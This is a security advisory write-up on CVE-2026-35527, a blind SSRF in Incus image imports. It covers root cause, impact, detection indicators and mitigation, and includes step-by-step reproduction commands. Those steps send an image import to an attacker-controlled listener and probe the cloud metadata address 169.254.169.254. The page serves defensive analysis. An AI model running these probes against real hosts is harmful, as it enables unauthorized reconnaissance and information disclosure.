CVE-2026-35527: 
NixOS vulnerability analysis and mitigation

CVE-2026-35527 is a blind Server-Side Request Forgery (SSRF) vulnerability in Incus, an open-source container and virtual machine manager. The flaw exists in all versions prior to 7.0.0 and allows authenticated users to coerce the Incus daemon into issuing arbitrary outbound HEAD requests before project-level restrictions (such as restricted.images.servers) are enforced. It was discovered by the team at 7asecurity, published on April 30, 2026, and fixed in Incus 7.0.0. The vulnerability carries a CVSS v3.1 score of 5.0 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (GitHub Advisory, Incus Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the imgPostURLInfo function in cmd/incusd/images.go constructs and dispatches a HEAD request directly from the attacker-supplied Source.URL field to resolve image metadata before any policy validation occurs. The outgoing request includes sensitive server metadata in custom HTTP headers — Incus-Server-Architectures and Incus-Server-Version — which are disclosed to the attacker-controlled endpoint. Because the HEAD request is issued prior to the restricted.images.servers policy check, the restriction only blocks the subsequent image download, not the initial network probe. Exploitation requires only low-privilege authenticated access to an Incus project and no user interaction. The vulnerability is similar in pattern to CVE-2026-24767 (GitHub Advisory, Incus Advisory).

An authenticated attacker can use this blind SSRF primitive to probe internal services, unroutable address space, or cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254) reachable from the Incus host. Each probe leaks the host's server architecture and Incus version via the Incus-Server-Architectures and Incus-Server-Version request headers, enabling reconnaissance of the host environment. There is no direct integrity or availability impact; the confidentiality impact is limited to information disclosure about the host and its internal network topology (GitHub Advisory).

A proof-of-concept with step-by-step reproduction instructions is publicly available in the official security advisory, demonstrating the vulnerability against a real Incus deployment using standard incus CLI commands (Incus Advisory). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.038% (2nd percentile), indicating a low near-term exploitation probability. No threat actor attribution has been reported (GitHub Advisory).

1. Authenticate to the Incus server: Obtain valid credentials or a certificate for an Incus user with at least low-privilege access to a project, including restricted projects with restricted.images.servers configured.
2. Set up an external listener: Deploy an HTTP listener at an attacker-controlled URL (e.g., using webhook.site or a self-hosted server) capable of logging incoming HTTP request headers.
3. Switch to the target project: Use the Incus CLI to select the restricted project: incus project switch restricted
4. Trigger the preflight HEAD request: Initiate an image import using the attacker-controlled URL as the source: incus image import https://<attacker-listener>/<path> --alias my-ssrf-image. The command will return Error: Missing Incus-Image-Hash header, but the HEAD request will have already been sent.
5. Collect disclosed information: Review the listener logs to observe the host-originated HEAD request, which includes headers such as Incus-Server-Version: 6.22, Incus-Server-Architectures: x86_64, i686, and the full User-Agent string revealing OS, kernel, and ZFS versions.
6. Probe internal targets: Repeat step 4 with internal IP addresses or cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) to map reachable internal services from the Incus host (Incus Advisory).

• Network: Outbound HEAD requests from the Incus host to unexpected external or internal IP addresses/URLs, particularly to cloud metadata endpoints (e.g., 169.254.169.254) or webhook/request-capture services; requests carrying User-Agent strings matching the pattern Incus <version> (Linux; ...) to non-image-server destinations.
• Logs: Incus daemon logs (/var/log/incus/ or journalctl -u incus) showing image import attempts that fail with Missing Incus-Image-Hash header for URLs not matching approved image servers; repeated failed import attempts from the same user against varied URLs.
• Process/API: Incus API audit logs recording POST /1.0/images requests with a source.type of url and source.url values pointing to internal RFC-1918 addresses, loopback addresses, or known metadata endpoints (GitHub Advisory).

Upgrade Incus to version 7.0.0 or later, which defers all outbound network interaction for URL-based image imports until after the supplied URL has passed all policy validation checks (GitHub Advisory, Incus Advisory). If immediate patching is not possible, consider restricting image import functionality for untrusted users, applying network-level egress filtering on the Incus host to block access to sensitive internal endpoints (e.g., cloud metadata services), and auditing which users have access to restricted projects with image import capabilities.

The vulnerability was discovered and responsibly disclosed by the security team at 7asecurity. Incus maintainer stgraber published the advisory and developed the fix. The issue received limited but focused attention in the security community, with automated CVE tracking services and vulnerability databases picking it up shortly after disclosure. A brief technical write-up was published at infinitsec.net covering the blind SSRF mechanics (infinitsec.net). The Incus 6.23.2 release announcement by stgraber also referenced the fix (stgraber.org).